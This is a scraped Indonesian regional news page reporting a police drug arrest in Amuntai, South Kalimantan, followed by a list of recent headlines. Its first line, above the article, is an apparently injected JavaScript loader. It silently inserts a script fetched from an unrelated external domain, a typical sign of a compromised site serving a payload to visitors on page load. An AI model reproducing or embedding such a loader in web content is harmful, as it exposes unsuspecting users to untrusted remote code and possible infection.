(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Miliki Barang Terlarang, MN Diciduk dari Rumahnya


AMUNTAI, Satuan Reserse Narkoba (Sat Resnarkoba) Polres HSU ringkus penyalahgunaan Narkotika di kota berjuluk Bertakwa. Kali ini, polisi berhasil mengamankan laki-laki berinisial MN alias N (24), warga Jalan Empu Jatmika No 90 RT 002, Kelurahan Paliwara, Kecamatan Amuntai Tengah, Kabupaten HSU, Selasa (13/11) pukul 21.00 Wita.

Kasat Narkoba Polres HSU Iptu Kamaruddin SH mengatakan, pihaknya mengamankan salah seorang pemuda beserta barang bukti 1 buah pipet kaca yang berisikan sisa sabu, 1 buah bong yang terbuat dari botol plastik, 2 buah sedotan, 1 buah handphone, 1 buah pemantik api dan 1 buah tas selempang warna hitam.

Iptu Kamaruddin menyebut, penangkapan pelaku atas dasar laporan masyarakat, kemudian ditindaklanjuti petugas dengan penyelidikan. Tepat di pinggir Jalan Pembalah Batung, Kelurahan Paliwara RT 03, Kecamatan Amuntai Tengah pelaku dibekuk langsung digeledah.

Saat petugas menggeledah MN alias N tidak ditemukan barang bukti, namun petugas mencurigai tingkah lakunya, sehingga Sat Resnarkoba Polres HSU mengembangkan pemeriksaan ke rumah bersangkutan di Jalan Empu Jatmika No 90 RT 002, Kelurahan Paliwara, Kecamatan Amuntai Tengah. Disaksikan Ketua RT setempat akhirnya polisi mendapati beberapa barang bukti.

“Selain sebagai pengguna, pelaku juga disinyalir melakukan praktek jual beli Narkotika,” ujar Kasat Narkoba Polres HSU.

Untuk mempertanggung jawabkan perbuatannya pelaku digiring Ke Mapolres HSU guna di Proses lebih lanjut. “Tersangka akan dijerat UU RI Nomor 35 tahun 2009 tentang Narkotika,” pungkas Iptu Kamaruddin. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

11 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

13 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.